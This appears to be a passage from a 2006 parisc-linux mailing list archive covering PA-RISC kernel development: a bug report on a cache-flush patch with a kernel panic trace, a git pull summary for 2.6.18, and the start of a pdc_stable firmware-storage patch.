	rv:1.7.13) Gecko/20060620 Debian/1.7.13-0.2
X-Accept-Language: en
In-Reply-To: <449DA245.2020705@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iKn/EB8mbXBtrLqHPTQ2y6sqLyUmZQhC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23760



Joel Soete wrote:
> 
> 
> James Bottomley wrote:
> 
>> On Wed, 2006-06-21 at 16:25 -0500, James Bottomley wrote:
>>
>>> One of the current disadvantages parisc has is that we have to walk the
>>> inode mapping list to do a flush_dcache_page(), which means we get
>>> entangled in locking.  The reason we do this is because a VIPT cache
>>> can't be flushed without a mapping, so we have to find one to use
>>>
>>> The intent of this patch is to instead flush through the tmpalias space
>>> on the correct congruence boundary which would dispense with the need
>>> for finding a mapping at all.  However, in the current incarnation we
>>> still walk the mappings to check that all the usermappings are, indeed,
>>> on the correct congruence boundary.  Unfortunately, as you'll see if you
>>> try it out, not all are ... which is a bit of a problem.
>>
>>
>>
>> This patch is current and tested against 2.6.17-pa4.  It might eat your
>> data but I'm reasonably assured it won't kill kittens.
>>
>> James
>>
> Thanks a lot.
> 
> Just met a small compile pb:
> 
> gcc -Wp,-MD,arch/parisc/kernel/.entry.o.d  -nostdinc -isystem 
> /usr/lib/gcc/hppa-linux-gnu/4.0.4/include -D__KERNEL__ -Iinclude 
> -Iinclude2 -I/usr/src/linux-2.6.17-pa4/include -include 
> include/linux/autoconf.h -D__ASSEMBLY__ -traditional  -c -o 
> arch/parisc/kernel/entry.o 
> /usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S
> /usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S: Assembler messages:
> /usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S:1369: Error: 
> Unknown opcode: `mstp'
> /usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S:1630: Error: 
> Unknown opcode: `mstp'
> /usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S:1653: Error: symbol 
> `dtlb_check_alias_20' is already defined
> make[2]: *** [arch/parisc/kernel/entry.o] Error 1
> 
> effectively mstp doesn't exist but well mtsp?
> 
> For the second error it cames from this hunck:
> @@ -1617,6 +1645,14 @@
> 
>      f_extend    pte,t0   
> 
> +    iitlbt          pte,prot
> +
> +    rfir
> +    nop
> +   
> +dtlb_check_alias_20:
> +    do_alias    spc,t0,t1,va,pte,prot,itlb_fault
> +   
>      iitlbt          pte,prot
> 
>      rfir
> 
> Shouldn't it be here 'itlb_check_alias_20:'?
> 
> My 2pence diff looks like:
> --- arch/parisc/kernel/entry.S.Orig     2006-06-24 22:35:19.000000000 +0200
> +++ arch/parisc/kernel/entry.S  2006-06-24 22:55:49.000000000 +0200
> @@ -1366,7 +1366,7 @@
>         idtlba          pte,(%sr1,va)
>         idtlbp          prot,(%sr1,va)
> 
> -       mstp            t0,%sr1         /* Restore sr1 */
> +       mtsp            t0,%sr1         /* Restore sr1 */
> 
>         rfir
>         nop
> @@ -1627,7 +1627,7 @@
>         iitlba          pte,(%sr1,va)
>         iitlbp          prot,(%sr1,va)
> 
> -       mstp            t0,%sr1         /* Restore sr1 */
> +       mtsp            t0,%sr1         /* Restore sr1 */
> 
>         rfir
>         nop
> @@ -1650,7 +1650,7 @@
>         rfir
>         nop
> 
> -dtlb_check_alias_20:
> +itlb_check_alias_20:
>         do_alias        spc,t0,t1,va,pte,prot,itlb_fault
> 
>         iitlbt          pte,prot
> 
Just more in short:

No more pb to build but failed to boot (d380 up 32bit kernel 2.6.17-pa5 + patch)?

EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 340k freed
Backtrace:
  [<10157788>] __handle_mm_fault+0x488/0x95c
  [<1010502c>] do_page_fault+0x258/0x2fc
  [<10107154>] handle_interruption+0x25c/0x608
  [<1010a080>] intr_check_sig+0x0/0xc


Kernel Fault: Code=26 regs=106e4340 (Addr=0f23c000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 00000040 10157788 10000000
r04-07  1049e000 104a21e0 10447810 4023c06c
r08-11  1046c804 000001e0 104b3de0 104a73e4
r12-15  104cc3c0 fb1fb054 1014075c 1013e308
r16-19  106e1b58 103fa810 00000002 0000000f
r20-23  00000000 00000000 00000001 00000020
r24-27  00000280 4023c06c 000093c0 103d8010
r28-31  0f23c000 106e1b58 106e4340 4023b180
sr00-03  00000001 00000000 00000000 00000001
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10105eec 10105ef0
  IIR: 0f801280    ISR: 00000000  IOR: 0f23c000
  CPU:        0   CR30: 106e4000 CR31: 10464000
  ORIG_R28: fffffffe
  IAOQ[0]: __clear_user_page_asm+0x20/0x70
  IAOQ[1]: __clear_user_page_asm+0x24/0x70
  RP(r2): __handle_mm_fault+0x488/0x95c
Kernel panic - not syncing: Kernel Fault
  <0>Rebooting in 30 seconds..

Sorry no time enough to analyse it in more details ;<(

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] flush our cache through tmpalias space
Date: Sat, 24 Jun 2006 18:05:11 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <1151190311.3617.2.camel@mulgrave.il.steeleye.com>
References: <1150925123.8456.56.camel@mulgrave.il.steeleye.com>
	<1151117721.3450.24.camel@mulgrave.il.steeleye.com>
	<449DA245.2020705@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624112 19946 80.91.229.3 (22 Nov 2014 02:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:52 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jun 2006 23:05:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 25 Jun 2006 01:05:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D0EC7D741;
	Sat, 24 Jun 2006 17:05:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05242-06; Sat, 24 Jun 2006 17:05:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C74447D73C;
	Sat, 24 Jun 2006 17:05:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 320D97D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 17:05:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05259-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 17:05:24 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 01DAD7D739
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 17:05:23 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k5ON5Ca06201; Sat, 24 Jun 2006 19:05:12 -0400
In-Reply-To: <449DA245.2020705@tiscali.be>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WLT0Kyc+MydynYigZWplo/ZraGRhZpog
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23761

On Sat, 2006-06-24 at 20:36 +0000, Joel Soete wrote:
> Just met a small compile pb:

Perhaps I should add that it's only been tested on 64 bit (both SMP and
UP)

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [git patches] parisc changes for 2.6.18
Date: Sun, 25 Jun 2006 19:31:23 -0400
Lines: 75
Approved: news@gmane.org
Message-ID: <20060625233123.GC2837@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624113 19949 80.91.229.3 (22 Nov 2014 02:41:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: torvalds@osdl.org,
 akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:33:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 26 Jun 2006 01:33:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FBF57D6F6;
	Sun, 25 Jun 2006 17:33:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16254-07; Sun, 25 Jun 2006 17:33:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9D1B7D6F9;
	Sun, 25 Jun 2006 17:32:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93E937D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:32:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16126-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:32:54 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 662CC7D6E3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:32:54 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D9F485840B9;
	Sun, 25 Jun 2006 19:32:34 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0223E5840B8;
	Sun, 25 Jun 2006 19:32:34 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 86F4923E83;
	Sun, 25 Jun 2006 19:32:33 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19890-09; Sun, 25 Jun 2006 19:32:33 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 1C92C23E82;
	Sun, 25 Jun 2006 19:32:32 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 840D23B05A; Sun, 25 Jun 2006 19:31:23 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UXTqd2EzODBpsLWUfGRMcnQ1Ji9SWpLC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23762

The following changes since commit f36f44de721db44b4c2944133c3c5c2e06f633f0:
  Linus Torvalds:
        Fix NFS2 compile error

are found in the git repository at:

  master.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git

Carlos O'Donell:
      [PARISC] Use FIXUP_BRANCH_CLOBBER to asm clobber list
      [PARISC] Remove unconditional #define PIC in syscall macros

Grant Grundler:
      [PARISC] Fix gcc 4.1 warnings in sba_iommu.c

James Bottomley:
      [PARISC] Fix PCREL22F relocation problem for most modules
      [PARISC] Fix do_gettimeofday() hang

Kyle McMartin:
      [PARISC] Ensure all ldcw uses are ldcw,co on pa2.0
      [PARISC] Whitespace clean up in asm/pgtable.h
      [PARISC] Add asm/mckinley.h bus header
      [PARISC] Test ioc_needs_fdc variable instead of open coding
      [PARISC] Remove dead function pc_in_user_space
      [PARISC] Use MFIA in current_text_addr on pa2.0 processors
      [PARISC] Add is_compat_task() helper
      [PARISC] Remove unused macro fixup_branch in syscall.S
      [PARISC] Match show_cache_info with reality
      [PARISC] Ensure Space ID hashing is turned off
      [PARISC] OS_ID_LINUX == 0x0006
      [PARISC] Add os_id_to_string helper
      [PARISC] Refactor show_regs in traps.c

Thibaut Varene:
      [PARISC] PDC_CHASSIS is implemented on all machines
      [PARISC] Work around machines which do not support chassis warnings
      [PARISC] pdc_stable version 0.30
      [PARISC] Reduce data footprint in pdc_stable.c
      [PARISC] Update Thibaut Varene's CREDITS entry

 CREDITS                          |    4 -
 arch/parisc/kernel/cache.c       |   28 +++--
 arch/parisc/kernel/entry.S       |    6 +
 arch/parisc/kernel/firmware.c    |   46 +++++++-
 arch/parisc/kernel/module.c      |   63 +++++++++--
 arch/parisc/kernel/pdc_chassis.c |  109 ++++++++++++++-----
 arch/parisc/kernel/ptrace.c      |    8 +
 arch/parisc/kernel/real2.S       |    9 --
 arch/parisc/kernel/setup.c       |    5 +
 arch/parisc/kernel/signal.c      |   20 ++-
 arch/parisc/kernel/syscall.S     |   14 --
 arch/parisc/kernel/time.c        |   18 +++
 arch/parisc/kernel/traps.c       |   84 +++++++-------
 arch/parisc/kernel/unaligned.c   |   18 ++-
 drivers/parisc/Kconfig           |   33 ++++--
 drivers/parisc/pdc_stable.c      |  223 ++++++++++++++++++++++++++++++++++----
 drivers/parisc/sba_iommu.c       |   22 ++--
 include/asm-parisc/assembly.h    |    2 
 include/asm-parisc/compat.h      |   11 ++
 include/asm-parisc/mckinley.h    |    9 ++
 include/asm-parisc/pdc.h         |   22 +++-
 include/asm-parisc/pgtable.h     |    8 +
 include/asm-parisc/processor.h   |   14 +-
 include/asm-parisc/system.h      |   26 ++--
 include/asm-parisc/uaccess.h     |    9 +-
 include/asm-parisc/unistd.h      |    5 -
 26 files changed, 592 insertions(+), 224 deletions(-)
 create mode 100644 include/asm-parisc/mckinley.h
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 12/23] [PARISC] pdc_stable version 0.30
Date: Sun, 25 Jun 2006 19:34:40 -0400
Lines: 385
Approved: news@gmane.org
Message-ID: <1151278492719-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624113 19957 80.91.229.3 (22 Nov 2014 02:41:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:53 +0000 (UTC)
Cc: Thibaut Varene <varenet@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:37:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 26 Jun 2006 01:37:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 942A27D78F;
	Sun, 25 Jun 2006 17:36:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16973-06; Sun, 25 Jun 2006 17:36:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 404357D791;
	Sun, 25 Jun 2006 17:36:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 482457D769
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16730-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:14 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 7B1227D732
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:10 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 28B6B5840C5;
	Sun, 25 Jun 2006 19:36:10 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id F2CA45840BF;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 3EC2A23E82;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20154-03; Sun, 25 Jun 2006 19:36:05 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id E7D4F23E84;
	Sun, 25 Jun 2006 19:36:00 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id F26E23B06F;
	Sun, 25 Jun 2006 19:34:52 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: envtZDFneSE5qr6WZHQhtEh2IGRvb0CN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23763

From: Thibaut Varene <varenet@parisc-linux.org>

pdc_stable v0.30:

This patch introduces 3 more files to the /sys/firmware/stable tree:
- diagnostic, which contains a cryptic hex string
- osdep1, a 16 bytes os-dependent storage area always available
- osdep2, another os-dependent storage area which existence/size depends
on hversion.

This patch also adds code to setup the "Linux" signature in stable
storage. That is to say that starting with this patch, the kernel will
now sign its OSID (0x0006, thx LaMont) in Stable Storage upon boot,
whether pdc_stable is enabled or not.

Signed-off-by: Thibaut VARENE <varenet@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 arch/parisc/kernel/setup.c  |    5 +
 drivers/parisc/pdc_stable.c |  219 ++++++++++++++++++++++++++++++++++++++++---
 2 files changed, 210 insertions(+), 14 deletions(-)

a77039bc889939409af9726760e9b1b3fe77f6fb
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 4a36ec3..8471486 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -303,6 +303,8 @@ extern void eisa_init(void);
 
 static int __init parisc_init(void)
 {
+	u32 osid = (0x0006 << 16);
+
 	parisc_proc_mkdir();
 	parisc_init_resources();
 	do_device_inventory();                  /* probe for hardware */
@@ -311,6 +313,9 @@ static int __init parisc_init(void)
 	
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BSTART);
+
+	/* tell PDC we're Linux. Nevermind failure. */
+	pdc_stable_write(0x40, &osid, sizeof(osid));
 	
 	processor_init();
 	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index bbeabe3..4b991d5 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -28,8 +28,15 @@
  *    following code can deal with just 96 bytes of Stable Storage, and all
  *    sizes between 96 and 192 bytes (provided they are multiple of struct
  *    device_path size, eg: 128, 160 and 192) to provide full information.
- *    The code makes no use of data above 192 bytes. One last word: there's one
- *    path we can always count on: the primary path.
+ *    One last word: there's one path we can always count on: the primary path.
+ *    Anything above 224 bytes is used for 'osdep2' OS-dependent storage area.
+ *
+ *    The first OS-dependent area should always be available. Obviously, this is
+ *    not true for the other one. Also bear in mind that reading/writing from/to
+ *    osdep2 is much more expensive than from/to osdep1.
+ *    NOTE: We do not handle the 2 bytes OS-dep area at 0x5D, nor the first
+ *    2 bytes of storage available right after OSID. That's a total of 4 bytes
+ *    sacrificed: -ETOOLAZY :P
  *
  *    The current policy wrt file permissions is:
  *	- write: root only
@@ -64,15 +71,18 @@ #include <asm/page.h>
 #include <asm/uaccess.h>
 #include <asm/hardware.h>
 
-#define PDCS_VERSION	"0.22"
+#define PDCS_VERSION	"0.30"
 #define PDCS_PREFIX	"PDC Stable Storage"
 
 #define PDCS_ADDR_PPRI	0x00
 #define PDCS_ADDR_OSID	0x40
+#define PDCS_ADDR_OSD1	0x48
+#define PDCS_ADDR_DIAG	0x58
 #define PDCS_ADDR_FSIZ	0x5C
 #define PDCS_ADDR_PCON	0x60
 #define PDCS_ADDR_PALT	0x80
 #define PDCS_ADDR_PKBD	0xA0
